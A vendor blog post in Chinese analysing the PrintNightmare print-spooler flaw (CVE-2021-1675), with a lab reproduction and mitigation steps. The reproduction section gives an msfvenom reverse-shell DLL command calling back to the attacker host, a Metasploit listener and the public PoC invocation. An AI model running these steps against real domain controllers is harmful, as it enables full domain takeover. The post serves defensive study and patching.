AD域安全之Windows Print Spooler許可權提升漏洞(CVE-2021-1675)淺析

Hello痕發表於2022-05-11

01前言

在較大的企業、政企、高校等單位的網路資訊化建設中,域環境常常是內部網路建設的重要一部分,從現有網路安全建設來看,大部分單位的內部網路的安全性往往做的沒有邊界這麼好,網路防禦的重點基本還是集中在網路邊界位置。

隨著黑產團伙網路攻擊事件的頻頻發生,在攻擊者“穿過”單位網路的“邊界防禦”後,內部網路這塊“香餑餑”是不會輕易放過的。駭客經常會利用AD域(Active Directory Domain)來作為首要攻擊目標,特別是域控,一旦域控被拿下,基本上可以說整個域已宣佈失陷,整個過程駭客涉及了網路攻擊生命週期中的許可權提升、內部偵察和橫向移動階段。

image.png

圖1 網路攻擊生命週期


本章將對域內滲透常被利用的漏洞之一:Windows Print Spooler許可權提升漏洞——CVE-2021-1675進行介紹分析,聚銘網路流量智慧分析審計產品支援對該漏洞利用的檢測

02漏洞簡介

該漏洞又被漏洞的作者稱為PrintNightmare,引發該漏洞的原因主要是因為當Windows Print Spooler服務(Windows的印表機後臺處理程式)不正確地執行特權檔案操作時,存在遠端執行程式碼漏洞風險。成功利用此漏洞的攻擊者可以使用SYSTEM許可權執行任意程式碼。然後攻擊者可以安裝程式;檢視、更改或刪除資料;或建立具有完全使用者許可權的新帳戶。

攻擊者可以透過該漏洞繞過PfcAddPrinterDriver的安全驗證,並在列印伺服器中安裝惡意的驅動程式。若攻擊者所控制的使用者在域中,則攻擊者可以連線到DC中的Spooler服務,並利用該漏洞在DC中安裝惡意的驅動程式,完整的控制整個域環境。

image.png


03影響範圍

微信截圖_20220511171246.png


04漏洞復現

  • 相關POC

https://github.com/afwu/PrintNightmare

https://github.com/cube0x0/CVE-2021-1675

https://github.com/calebstewart/CVE-2021-1675

  • 環境搭建

需要一臺2019server(192.168.83.136)、CentOS7(192.168.83.129)、kali攻擊主機(192.168.83.135)。

  • 環境配置

2019server(192.168.83.136):

關閉安全中心

建立AD域控

建立域內使用者

image.png

開啟print spooler服務

image.png

修改登錄檔

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters]

"AllowInsecureGuestAuth"=dword:00000001

#確保server2019能夠訪問CentOS7的smb服務

CentOS7(192.168.83.129):

無密碼的smb服務(共享資料夾服務)

  Kali(192.168.83.135):

msf:自帶

python3.9:自帶

CVE-2021-1675漏洞POC:

git https://github.com/cube0x0/CVE-2021-1675

mpacket

git clone https://github.com/cube0x0/impacket

cd impacket

python3 ./setup.py install

  • 復現步驟

1. 在kali主機上面,透過msfvenom來製作檔案HACK.dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.83.135 LPORT=9999 -f dll -o HACK.dll

image.png

2. 將生成的dll檔案上傳到CentOS7的共享資料夾

scp HACK.dll root@192.168.83.129:/tmp

image.png

3. 設定kali的監聽埠和dll檔案的反射埠相同,即9999埠

msfconsole

image.png

開啟埠監聽。

handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.83.135 -P 9999

image.png

4. 新建視窗嘗試利用POC復現

Python3 CVE-2021-1675.py dopa.com/zhangsan:XXXXX@192.168.83.136 “\\192.168.83.129\tmp\HACK.dll”

image.png

image.png

出現了報錯,但是並不影響我們獲取shell

5. 直接進入連線,嘗試遠端控制

回到第3步的視窗,發現監聽的9999埠爆出產生新的連線,連線IP為域伺服器192.168.83.136

image.png

image.png

05漏洞原理

在理解該漏洞之前,我們先聊一下Windows的DLL檔案。微軟為了便於軟體開發人員更輕鬆的開發出想要的程式,會抽象出公共的一些庫檔案,該庫檔案都是整合好,並且可以直接執行的“武器庫”。

再聊一下微軟的印表機服務,該服務為客戶端提供了一項可以遠端在伺服器端安裝印表機驅動的功能。客戶端遠端使用該功能,並選擇驅動的檔案位置(任意位置),伺服器就會以system許可權去執行該驅動包。

這次微軟的漏洞就是印表機服務print spooler沒有限制DLL檔案的呼叫,導致駭客可以直接利用該函式,讓系統以system許可權在伺服器本地執行一個後門程式檔案HACK.dll。遠端控制伺服器。

image.png

圖2 列印驅動目錄下後門檔案HACK.dll

06解決方案

1. 建議在不使用列印服務的情況下,關閉印表機相關服務。

cmd:

net stop spooler   && sc config spooler start=disabled

PowerShell:

Stop-Service   -Name Spooler -Force;

Set-Service   -Name Spooler -StartupType Disabled

2. 組策略封禁

gpedit.msc

Policies/Windows   Settings/Security Settings/System Services/Print Spooler

//選擇禁用

3. 至windows官網下載補丁包

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675


【更多精彩內容可關注“聚銘網路”公眾號】

相關文章